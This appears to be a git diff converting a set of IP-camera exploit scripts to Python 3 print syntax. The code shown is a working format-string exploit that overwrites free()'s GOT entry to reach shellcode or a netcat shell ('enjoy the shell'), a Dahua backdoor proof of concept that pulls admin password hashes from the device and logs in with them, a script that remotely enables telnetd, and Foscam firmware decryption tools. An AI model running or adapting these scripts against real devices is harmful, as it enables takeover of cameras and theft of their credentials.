sequence is actually no longer used in this part of exploit, was developed to meet the requirement - # for exploitation of 5.2.x and 5.40.x, as there needed to be one POP with maximum of two bytes. - # Kept as reference as we now using direct parameter access AKA 'New Style" for 5.2x/5.4x - # - if POP2 != 0: - # We only want to write 'SecondWhat' two bytes higher at free() GOT - if POP2 > 2: - print "POP2 can't be greater than two!" - sys.exit(1) - if POP2 == 1: - FMScode.Add("%2c") - else: - FMScode.Add("%1c%1c") - else: - FMScode.Add("XX") - FMScode.AddWRITEn(1) - - # Write FirstWhat pointed by FirstWhere - FMScode.AddPOP(POP3) # Old Style POP's - FMScode.AddADDR(FirstWhat) # Run up to 0x0002XXXX, write with LSB (0xXXXX) to LSB in target address. - FMScode.AddWRITEn(1) # Write with 4 bytes (we want to zero out in MSB) - - # Write SecondWhat pointed by SecondWhere - FMScode.AddPOP(POP4) # Old Style POP's - FMScode.AddADDR(SecondWhat) # Run up to 0x00020300, write with LSB (0xZZ) to lower part of MSB. (0x00ZZXXXX) - FMScode.AddWRITEhhn(1) # Write with one byte 0x000203[00] or 0x000203[01] depending from above calculation - - else: - sys.exit(1) - - FMSdata = FMScode.FMSbuild() - - print "[>] StG_2: Writing shellcode address to free() GOT address:",'0x{:08x}'.format(GOThex),"(%d bytes)" % (len(FMSdata)) - - # FMS comes here, and calculations start after '=' in the url - try: - if NCSH1 or NCSH2: - html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell - else: - html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url2 + FMSdata) # MIPS/CRIS shellcode - except urllib2.HTTPError as e: - print "[!] Payload delivery failed:",str(e) - sys.exit(1) - except Exception as e: - # 1st string returned by HTTP mode, 2nd by HTTPS mode - if str(e) == "timed out" or str(e) == "('The read operation timed out',)": - print "[i] Timeout! Payload delivered sucessfully!" - else: - print "[!] Payload delivery failed:",str(e) - sys.exit(1) - - if noexploit: - print "\n[*] Not exploiting, no shell...\n" - else: - print "\n[*] All done, enjoy the shell...\n" + print("[i] Building the FMS code...") + + FMScode = do_FMS(rhost,verbose) + + # This is an 'One-Write-Where-And-What' for FMS + # + # Stack Example: + # + # Stack content | Stack address (ASLR) + # + # 0x0 | @0x7e818dbc -> [POP1's] + # 0x0 | @0x7e818dc0 -> [free () GOT address] + # 0x7e818dd0 | @0x7e818dc4>>>>>+ "Write-Where" (%n) + # 0x76f41fb8 | @0x7e818dc8 | -> [POP2's] + # 0x76f3d70c | @0x7e818dcc | -> [BSS shell code address] + # 0x76f55ab8 | @0x7e818dd0<<<<<+ "Write-What" (%n) + # 0x1 | @0x7e818dd4 + # + if not NCSH1 and not NCSH2: + FMScode.AddPOP(POP1) # 1st serie of 'Old Style' POP's + FMScode.AddADDR(GOTint) # GOT Address + FMScode.AddWRITEn(1) # 4 bytes Write-Where +# FMScode.AddWRITElln(1) # Easier to locate while debugging as this will write double word (0x00000000004xxxxx) + + FMScode.AddPOP(POP2) # 2nd serie of 'Old Style' POP's + FMScode.AddADDR(BSSint) # BSS shellcode address + FMScode.AddWRITEn(1) # 4 bytes Write-What +# FMScode.AddWRITElln(1) # Easier to locate while debugging as this will write double word (0x00000000004xxxxx) + + # End of 'One-Write-Where-And-What' + + + # This is an 'Two-Write-Where-And-What' for FMS + # + # Netcat shell and FMS code in same request, we will jump to the SSI function + # We jump over all SSI tagging to end up directly where "xxx" will + # be the string passed on to SSI exec function ('/bin/sh -c', pipe(), vfork() and execv()) + # + # The Trick here is to write lower target address, that we will jump to when calling free(), + # than the FMS has counted up to, by using Two-Write-Where-and-What with two writes to free() GOT + # address with two LSB writes. + # + elif NCSH2: + # + # Direct parameter access for FMS exploitation are really nice and easy to use. + # However, we need to exploit in two stages with two requests. + # (I was trying to avoid this "Two-Stages" so much as possibly in this exploit developement...) + # + # 1. Write "Two-Write-Where", where 2nd is two bytes higher than 1st (this allows us to write to MSB and LSB) + # 2. Write with "Two-Write-What", where 1st (LSB) and 2nd (MSB) "Write-Where" pointing to. + # + # With "new style", we can write with POPs independently as we don't depended of same criteria as in "NCSH1", + # we can use any regular "Stack-to-Stack" pointer as we can freely choose the POP-and-Write. + # [Note the POP1/POP2 (low-high) vs POP3/POP4 (high-low) difference.] + # + # Stack Example: + # + # Stack content | Stack address (ASLR) + # + # 0x7e818dd0 | @0x7e818dc4>>>>>+ 1st "Write-Where" [@Stage One] + # 0x76f41fb8 | @0x7e818dc8 | + # 0x76f3d70c | @0x7e818dcc | + # 0x76f55ab8 | @0x7e818dd0<<<<<+ 1st "Write-What" [@Stage Two] + # 0x1 | @0x7e818dd4 + # [....] + # 0x1c154 | @0x7e818e10 + # 0x7e818e20 | @0x7e818e14>>>>>+ 2nd "Write-Where" [@Stage One] + # 0x76f41fb8 | @0x7e818e18 | + # 0x76f3d70c | @0x7e818e1c | + # 0x76f55758 | @0x7e818e20<<<<<+ 2nd "Write-What" [@Stage Two] + # 0x1 | @0x7e818e24 + # + + FMScode.Add(shell) + + # + # 1st and 2nd "Write-Where" already done in stage one + # + # 1st and 2nd "Write-What" + # + FMScode.AddADDR(GOTint + FirstWhat) # Run up to 0x0002XXXX, write with LSB (0xXXXX) to LSB in target address. + FMScode.AddDirectParameterN(POP3) # Write with 4 bytes (we want to zero out in MSB) + FMScode.AddADDR(SecondWhat + 3) # Run up to 0x00020300, write with LSB (0xZZ) to lower part of MSB. (0x00ZZXXXX) + FMScode.AddDirectParameterHHN(POP4) # Write with one byte 0x000203[00] or 0x000203[01] depending from above calculation + + elif NCSH1: + # Could use direct argument addressing here, but I like to keep "old style" as well, + # as it's another interesting concept. + # + # Two matching stack contents -> stack address in row w/o or max two POP's between, + # is needed to write two bytes higher (MSB). + # + # + # Stack Example: + # + # Stack Content | @Stack Address (ASLR) + # + # 0x9c | @7ef2fde8 -> [POP1's] + # [....] + # 0x1 | @7ef2fdec -> [GOTint address] + #------ + # 0x7ef2fe84 | @7ef2fdf0 >>>>>+ Write 'FirstWhere' (%n) [LSB] + # -> 'XX' | two bytes (Can be one or two POP's as well, by using %2c or %1c%1c as POPer) + # 0x7ef2fe8c | @7ef2fdf4 >>>>>>>>>+ Write 'SecondWhere' (%n) [MSB] + # ------ | | + # [....] -> [POP3's] | | + # 0x7fb99dc | @7ef2fe7c | | + # 0x7ef2fe84 | @7ef2fe80 | | [Count up to 0x2XXXX] + # 0x7ef2ff6a | @7ef2fe84 <<<<<+ | Write 'XXXX' 'FirstWhat' (%n) (0x0002XXXX)) + # -> [POP4's] | + # (nil) | @7ef2fe88 | [Count up to 0x20300] + # 0x7ef2ff74 | @7ef2fe8c <<<<<<<<<+ Write 'ZZ' 'SecondWhat' (%hhn) (0x00ZZXXXX) + + FMScode.Add(shell) + + # Write FirstWhere for 'FirstWhat' + FMScode.AddPOP(POP1) + FMScode.AddADDR(GOTint) # Run up to free() GOT address + FMScode.AddWRITEn(1) + + # Write SecondWhere for 'SecondWhat' + # + # This is special POP with 1 byte, we can maximum POP 2! + # + # This POP sequence is actually no longer used in this part of exploit, was developed to meet the requirement + # for exploitation of 5.2.x and 5.40.x, as there needed to be one POP with maximum of two bytes. + # Kept as reference as we now using direct parameter access AKA 'New Style" for 5.2x/5.4x + # + if POP2 != 0: + # We only want to write 'SecondWhat' two bytes higher at free() GOT + if POP2 > 2: + print("POP2 can't be greater than two!") + sys.exit(1) + if POP2 == 1: + FMScode.Add("%2c") + else: + FMScode.Add("%1c%1c") + else: + FMScode.Add("XX") + FMScode.AddWRITEn(1) + + # Write FirstWhat pointed by FirstWhere + FMScode.AddPOP(POP3) # Old Style POP's + FMScode.AddADDR(FirstWhat) # Run up to 0x0002XXXX, write with LSB (0xXXXX) to LSB in target address. + FMScode.AddWRITEn(1) # Write with 4 bytes (we want to zero out in MSB) + + # Write SecondWhat pointed by SecondWhere + FMScode.AddPOP(POP4) # Old Style POP's + FMScode.AddADDR(SecondWhat) # Run up to 0x00020300, write with LSB (0xZZ) to lower part of MSB. (0x00ZZXXXX) + FMScode.AddWRITEhhn(1) # Write with one byte 0x000203[00] or 0x000203[01] depending from above calculation + + else: + sys.exit(1) + + FMSdata = FMScode.FMSbuild() + + print("[>] StG_2: Writing shellcode address to free() GOT address:",'0x{:08x}'.format(GOThex),"(%d bytes)" % (len(FMSdata))) + + # FMS comes here, and calculations start after '=' in the url + try: + if NCSH1 or NCSH2: + html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell + else: + html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url2 + FMSdata) # MIPS/CRIS shellcode + except urllib2.HTTPError as e: + print("[!] Payload delivery failed:",str(e)) + sys.exit(1) + except Exception as e: + # 1st string returned by HTTP mode, 2nd by HTTPS mode + if str(e) == "timed out" or str(e) == "('The read operation timed out',)": + print("[i] Timeout! Payload delivered sucessfully!") + else: + print("[!] Payload delivery failed:",str(e)) + sys.exit(1) + + if noexploit: + print("\n[*] Not exploiting, no shell...\n") + else: + print("\n[*] All done, enjoy the shell...\n") # # [EOF] diff --git a/dahua-backdoor-PoC.py b/dahua-backdoor-PoC.py index 337102b..b3e8894 100644 --- a/dahua-backdoor-PoC.py +++ b/dahua-backdoor-PoC.py @@ -137,6 +137,7 @@ # /bashis # +from __future__ import print_function import string import sys import socket @@ -170,17 +171,17 @@ def Send(self, uri, query_headers, query_data,ID): url = '{}://{}{}'.format(self.proto, self.host, self.uri) if self.verbose: - print "[Verbose] Sending:", url + print("[Verbose] Sending:", url) if self.proto == 'https': if hasattr(ssl, '_create_unverified_context'): - print "[i] Creating SSL Unverified Context" + print("[i] Creating SSL Unverified Context") ssl._create_default_https_context = ssl._create_unverified_context if self.credentials: Basic_Auth = self.credentials.split(':') if self.verbose: - print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1] + print("[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1]) try: pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1]) @@ -188,7 +189,7 @@ def Send(self, uri, query_headers, query_data,ID): opener = urllib2.build_opener(auth_handler) urllib2.install_opener(opener) except Exception as e: - print "[!] Basic Auth Error:",e + print("[!] Basic Auth Error:",e) sys.exit(1) if self.query_data: @@ -198,7 +199,7 @@ def Send(self, uri, query_headers, query_data,ID): response = urllib2.urlopen(request) # print response if response: - print "[<] {} OK".format(response.code) + print("[<] {} OK".format(response.code)) if self.Raw: return response @@ -226,7 +227,7 @@ def Gen2(self,response,headers): html = self.response.readlines() if self.verbose: for lines in html: - print "{}".format(lines) + print("{}".format(lines)) # # Check for first availible admin user # @@ -237,13 +238,13 @@ def Gen2(self,response,headers): if line[3] == '1': # Check if user is in admin group USER_NAME = line[1] # Save login name PWDDB_HASH = line[2]# Save hash - print "[i] Choosing Admin Login [{}]: {}, PWD hash: {}".format(line[0],line[1],line[2]) + print("[i] Choosing Admin Login [{}]: {}, PWD hash: {}".format(line[0],line[1],line[2])) break # # Login 1 # - print "[>] Requesting our session ID" + print("[>] Requesting our session ID") query_args = {"method":"global.login", "params":{ "userName":USER_NAME, @@ -256,12 +257,12 @@ def Gen2(self,response,headers): json_obj = json.load(response) if self.verbose: - print json.dumps(json_obj,sort_keys=True,indent=4, separators=(',', ': ')) + print(json.dumps(json_obj,sort_keys=True,indent=4, separators=(',', ': '))) # # Login 2 # - print "[>] Logging in" + print("[>] Logging in") query_args = {"method":"global.login", "session":json_obj['session'], @@ -274,7 +275,7 @@ def Gen2(self,response,headers): URI = '/RPC2_Login' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,json_obj['session']) - print response.read() + print(response.read()) # # Wrong username/password @@ -288,7 +289,7 @@ def Gen2(self,response,headers): # # Logout # - print "[>] Logging out" + print("[>] Logging out") query_args = {"method":"global.logout", "params":"null", "session":json_obj['session'], @@ -318,7 +319,7 @@ def Gen3(self,response,headers): if self.verbose: - print json.dumps(json_obj,sort_keys=True,indent=4, separators=(',', ': ')) + print(json.dumps(json_obj,sort_keys=True,indent=4, separators=(',', ': '))) # # Check for first availible admin user @@ -327,12 +328,12 @@ def Gen3(self,response,headers): if who['Group'] == 'admin': # Check if user is in admin group USER_NAME = who['Name'] # Save login name PWDDB_HASH = who['Password'] # Save hash - print "[i] Choosing Admin Login: {}".format(who['Name']) + print("[i] Choosing Admin Login: {}".format(who['Name'])) break # # Request login # - print "[>] Requesting our session ID" + print("[>] Requesting our session ID") query_args = {"method":"global.login", "params":{ "userName":USER_NAME, @@ -345,7 +346,7 @@ def Gen3(self,response,headers): json_obj = json.load(response) if self.verbose: - print json.dumps(json_obj,sort_keys=True,indent=4, separators=(',', ': ')) + print(json.dumps(json_obj,sort_keys=True,indent=4, separators=(',', ': '))) # # Generate login MD5 hash with all required info we have downloaded # @@ -353,15 +354,15 @@ def Gen3(self,response,headers): PASS = ''+ USER_NAME +':' + RANDOM + ':' + PWDDB_HASH + '' RANDOM_HASH = hashlib.md5(PASS).hexdigest().upper() - print "[i] Downloaded MD5 hash:",PWDDB_HASH - print "[i] Random value to encrypt with:",RANDOM - print "[i] Built password:",PASS - print "[i] MD5 generated password:",RANDOM_HASH + print("[i] Downloaded MD5 hash:",PWDDB_HASH) + print("[i] Random value to encrypt with:",RANDOM) + print("[i] Built password:",PASS) + print("[i] MD5 generated password:",RANDOM_HASH) # # Login # - print "[>] Logging in" + print("[>] Logging in") query_args = {"method":"global.login", "session":json_obj['session'], @@ -374,7 +375,7 @@ def Gen3(self,response,headers): URI = '/RPC2_Login' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,json_obj['session']) - print response.read() + print(response.read()) # Wrong username/password # { "error" : { "code" : 268632071, "message" : "Component error: password not valid!" }, "id" : 10000, "result" : false, "session" : 1156538295 } @@ -387,7 +388,7 @@ def Gen3(self,response,headers): # # Logout # - print "[>] Logging out" + print("[>] Logging out") query_args = {"method":"global.logout", "params":"null", "session":json_obj['session'], @@ -482,14 +483,14 @@ def Host(self,HOST): arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]') args = arg_parser.parse_args() except Exception as e: - print INFO,"\nError: %s\n" % str(e) + print(INFO,"\nError: %s\n" % str(e)) sys.exit(1) # We want at least one argument, so print out help if len(sys.argv) == 1: arg_parser.parse_args(['-h']) - print "\n[*]",INFO + print("\n[*]",INFO) if args.verbose: verbose = args.verbose @@ -512,22 +513,22 @@ def Host(self,HOST): # Check if RPORT is valid if not Validate(verbose).Port(rport): - print "[!] Invalid RPORT - Choose between 1 and 65535" + print("[!] Invalid RPORT - Choose between 1 and 65535") sys.exit(1) # Check if RHOST is valid IP or FQDN, get IP back rhost = Validate(verbose).Host(rhost) if not rhost: - print "[!] Invalid RHOST" + print("[!] Invalid RHOST") sys.exit(1) # # Validation done, start print out stuff to the user # if args.https: - print "[i] HTTPS / SSL Mode Selected" - print "[i] Remote target IP:",rhost - print "[i] Remote target PORT:",rport + print("[i] HTTPS / SSL Mode Selected") + print("[i] Remote target IP:",rhost) + print("[i] Remote target PORT:",rport) rhost = rhost + ':' + rport @@ -541,12 +542,12 @@ def Host(self,HOST): # Try to find /current_config/passwd user database (Generation 2) # try: - print "[>] Checking for backdoor version" + print("[>] Checking for backdoor version") URI = "/current_config/passwd" response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None) - print "[!] Generation 2 found" + print("[!] Generation 2 found") reponse = Dahua_Backdoor(rhost,proto,verbose,creds,raw_request).Gen2(response,headers) - print response + print(response) except urllib2.HTTPError as e: # # If not, try to find /current_config/Account1 user database (Generation 3) @@ -555,19 +556,19 @@ def Host(self,HOST): try: URI = '/current_config/Account1' response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None) - print "[!] Generation 3 Found" + print("[!] Generation 3 Found") response = Dahua_Backdoor(rhost,proto,verbose,creds,raw_request).Gen3(response,headers) except urllib2.HTTPError as e: if e.code == 404: - print "[!] Patched or not Dahua device! ({})".format(e.code) + print("[!] Patched or not Dahua device! ({})".format(e.code)) sys.exit(1) else: - print "Error Code: {}".format(e.code) + print("Error Code: {}".format(e.code)) except Exception as e: - print "[!] Detect of target failed ({})".format(e) + print("[!] Detect of target failed ({})".format(e)) sys.exit(1) - print "\n[*] All done...\n" + print("\n[*] All done...\n") sys.exit(0) diff --git a/dahua-telnetd-json.py b/dahua-telnetd-json.py index e3adeba..264ebf1 100644 --- a/dahua-telnetd-json.py +++ b/dahua-telnetd-json.py @@ -9,6 +9,7 @@ # (I know Dahua has been killing telnetd hard, deleted telnetd... and done lots of stupid stuff) # +from __future__ import print_function import sys import socket import urllib, urllib2, httplib @@ -86,17 +87,17 @@ def Send(self, uri, query_headers, query_data,ID): url = '{}://{}{}'.format(self.proto, self.host, self.uri) if self.verbose: - print "[Verbose] Sending:", url + print("[Verbose] Sending:", url) if self.proto == 'https': if hasattr(ssl, '_create_unverified_context'): - print "[i] Creating SSL Unverified Context" + print("[i] Creating SSL Unverified Context") ssl._create_default_https_context = ssl._create_unverified_context if self.credentials: Basic_Auth = self.credentials.split(':') if self.verbose: - print "[Verbose] User:",Basic_Auth[0],"password:",Basic_Auth[1] + print("[Verbose] User:",Basic_Auth[0],"password:",Basic_Auth[1]) try: pwd_mgr = urllib2.HTTPpasswordMgrWithDefaultDahua_realm() pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1]) @@ -104,11 +105,11 @@ def Send(self, uri, query_headers, query_data,ID): opener = urllib2.build_opener(auth_handler) urllib2.install_opener(opener) except Exception as e: - print "[!] Basic Auth Error:",e + print("[!] Basic Auth Error:",e) sys.exit(1) if self.noexploit and not self.verbose: - print "[<] 204 Not Sending!" + print("[<] 204 Not Sending!") html = "Not sending any data" return html else: @@ -124,7 +125,7 @@ def Send(self, uri, query_headers, query_data,ID): req.add_header('Cookie', Cookie) rsp = urllib2.urlopen(req) if rsp: - print "[<] {} OK".format(rsp.code) + print("[<] {} OK".format(rsp.code)) if self.Raw: return rsp @@ -155,7 +156,7 @@ def Telnetd(self,cmd): elif self.cmd == 'disable': self.cmd = False else: - print "[!] Telnetd: Invalid CMD ({})".format(self.cmd) + print("[!] Telnetd: Invalid CMD ({})".format(self.cmd)) return self.cmd query_args = {"method":"configManager.setConfig", @@ -168,27 +169,27 @@ def Telnetd(self,cmd): "session":self.SessionID, "id":1} - print "[>] Enable telnetd: {}".format(self.cmd) + print("[>] Enable telnetd: {}".format(self.cmd)) result = json.load(self.JsonSendRequest(query_args)) if not result['result']: - print "Resp: ",result - print "Error CMD: {}".format(self.string_request) + print("Resp: ",result) + print("Error CMD: {}".format(self.string_request)) return - print result + print(result) def logout(self): - print "[i] Logging out" + print("[i] Logging out") query_args = {"method":"global.logout", "params":"null", "session":self.SessionID, "id":10001} result = json.load(self.JsonSendRequest(query_args)) if not result['result']: - print result + print(result) return elif result['result']: - print result + print(result) return result def JsonSendRequest(self,query_args): @@ -289,10 +290,10 @@ def Host(self,HOST): arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]') args = arg_parser.parse_args() except Exception as e: - print INFO,"\nError: {}\n".format(str(e)) + print(INFO,"\nError: {}\n".format(str(e))) sys.exit(1) - print "\n[*]",INFO + print("\n[*]",INFO) if args.verbose: verbose = args.verbose @@ -328,13 +329,13 @@ def Host(self,HOST): # Check if RPORT is valid if not Validate(verbose).Port(rport): - print "[!] Invalid RPORT - Choose between 1 and 65535" + print("[!] Invalid RPORT - Choose between 1 and 65535") sys.exit(1) # Check if RHOST is valid IP or FQDN, get IP back rhost = Validate(verbose).Host(rhost) if not rhost: - print "[!] Invalid RHOST" + print("[!] Invalid RHOST") sys.exit(1) @@ -342,9 +343,9 @@ def Host(self,HOST): # Validation done, start print out stuff to the user # if args.https: - print "[i] HTTPS / SSL Mode Selected" - print "[i] Remote target IP:",rhost - print "[i] Remote target PORT:",rport + print("[i] HTTPS / SSL Mode Selected") + print("[i] Remote target IP:",rhost) + print("[i] Remote target PORT:",rport) rhost = rhost + ':' + rport @@ -363,7 +364,7 @@ def Host(self,HOST): # # Request SessionID # - print "[>] Requesting session ID" + print("[>] Requesting session ID") query_args = {"method":"global.login", "params":{ "userName":username, @@ -375,7 +376,7 @@ def Host(self,HOST): response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,query_args,None) Dahua_json = json.load(response) if verbose: - print json.dumps(Dahua_json,sort_keys=True,indent=4, separators=(',', ': ')) + print(json.dumps(Dahua_json,sort_keys=True,indent=4, separators=(',', ': '))) SessionID = Dahua_json['session'] @@ -384,10 +385,10 @@ def Host(self,HOST): # if Dahua_json['params']['encryption'] == 'Default': - print "[i] Detected generation 3 encryption" + print("[i] Detected generation 3 encryption") RANDOM_HASH = dahua_md5_hash(Dahua_json['params']['random'],Dahua_json['params']['realm'], username, password) - print "[>] Logging in" + print("[>] Logging in") query_args = {"method":"global.login", "session":SessionID, @@ -402,11 +403,11 @@ def Host(self,HOST): response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,query_args,SessionID) Dahua_json = json.load(response) if verbose: - print Dahua_json + print(Dahua_json) if Dahua_json['result'] == True: - print "[<] Login OK" + print("[<] Login OK") elif Dahua_json['result'] == False: - print "[<] Login failed: {} ({})".format(Dahua_json['error']['message'],Dahua_json['params']['error']) + print("[<] Login failed: {} ({})".format(Dahua_json['error']['message'],Dahua_json['params']['error'])) sys.exit(1) # @@ -414,11 +415,11 @@ def Host(self,HOST): # elif Dahua_json['params']['encryption'] == 'OldDigest': - print "[i] Detected generation 2 encryption" + print("[i] Detected generation 2 encryption") HASH = sofia_hash(password) - print "[>] Logging in" + print("[>] Logging in") query_args = {"method":"global.login", "session":SessionID, @@ -433,22 +434,22 @@ def Host(self,HOST): response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,query_args,SessionID) Dahua_json = json.load(response) if verbose: - print Dahua_json + print(Dahua_json) if Dahua_json['result'] == True: - print "[<] Login OK" + print("[<] Login OK") elif Dahua_json['result'] == False: - print "[<] Login failed: {}".format(Dahua_json['error']['message']) + print("[<] Login failed: {}".format(Dahua_json['error']['message'])) sys.exit(1) elif Dahua_json['params']['encryption'] == 'Basic': - print "LDAP / AD not supported" + print("LDAP / AD not supported") sys.exit(1) elif Dahua_json['params']['encryption'] == 'WatchNet': - print "Watchnet not supported" + print("Watchnet not supported") sys.exit(1) else: - print "Unknown encryption {}".format(Dahua_json['params']['encryption']) + print("Unknown encryption {}".format(Dahua_json['params']['encryption'])) sys.exit(1) # Enable / Disable Telnetd @@ -457,14 +458,14 @@ def Host(self,HOST): responce = Dahua_Functions(rhost,proto,verbose,credentials,raw_request,headers,username,SessionID).logout() except Exception as e: - print "[!] What happen? ({})".format(e) + print("[!] What happen? ({})".format(e)) try: # Something screwed up, try to logout Dahua_Functions(rhost,proto,verbose,credentials,raw_request,headers,username,SessionID).logout() sys.exit(1) except Exception as e: # Not even logout working... wtf? - print "[!] What happen again? ({})".format(e) + print("[!] What happen again? ({})".format(e)) sys.exit(1) diff --git a/decrypt-foscam.py b/decrypt-foscam.py index 9e432c0..48f2dc2 100644 --- a/decrypt-foscam.py +++ b/decrypt-foscam.py @@ -4,6 +4,7 @@ # # //bashis 2018 # +from __future__ import print_function import os import subprocess import sys @@ -23,7 +24,7 @@ arg_parser.add_argument('--outfile', required=False, help='Decrypted file') args = arg_parser.parse_args() except Exception as e: - print INFO,"\nError: %s\n" % str(e) + print(INFO,"\nError: %s\n" % str(e)) sys.exit(1) if args.infile: @@ -193,13 +194,13 @@ p = subprocess.Popen("gzip -t " + outfile + "", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) p_stderr = p.stderr.read() if not (p_stderr): - print "Decrypted with: {}".format(TEMP) + print("Decrypted with: {}".format(TEMP)) sys.exit(0) else: - print "Decryption NOT OK: {}".format(TEMP) + print("Decryption NOT OK: {}".format(TEMP)) os.remove(outfile) else: - print p_stderr[0], - print "Cleaning up..." + print(p_stderr[0], end=' ') + print("Cleaning up...") os.remove(outfile) sys.exit(1) diff --git a/deobfuscate-foscam.py b/deobfuscate-foscam.py index ac0a642..1faf7f7 100644 --- a/deobfuscate-foscam.py +++ b/deobfuscate-foscam.py @@ -4,6 +4,7 @@ # # //bashis 2018 # +from __future__ import print_function import sys import os import StringIO @@ -133,7 +134,7 @@ def is_number(s): arg_parser.add_argument('--outfile', required=False, help='Output file') args = arg_parser.parse_args() except Exception as e: - print INFO,"\nError: %s\n" % str(e) + print(INFO,"\nError: %s\n" % str(e)) sys.exit(1) if args.infile: @@ -253,7 +254,7 @@ def is_number(s): if not len(STACK) <= ((DSM_CODE[who][5] + 4) / 4): STACK[(DSM_CODE[who][5] + 4) / 4] = REG[DSM_CODE[who][3]] # (SP + 4) / 4 else: - print "UNKNOWN DSM CODE: {}".format(DSM_CODE[who]) # SUB... etc. + print("UNKNOWN DSM CODE: {}".format(DSM_CODE[who])) # SUB... etc. for who in range(len(DSM_CODE)-1,0,-1): # 1st SP @@ -267,7 +268,7 @@ def is_number(s): for key in STACK: if not key > len(ASCII)-1: OUT += ASCII[key] - print "\nFile: {}\nDeobfuscated: {}\n".format(infile,OUT) + print("\nFile: {}\nDeobfuscated: {}\n".format(infile,OUT)) if outfile: with open(outfile,'a') as Foscam_Strings: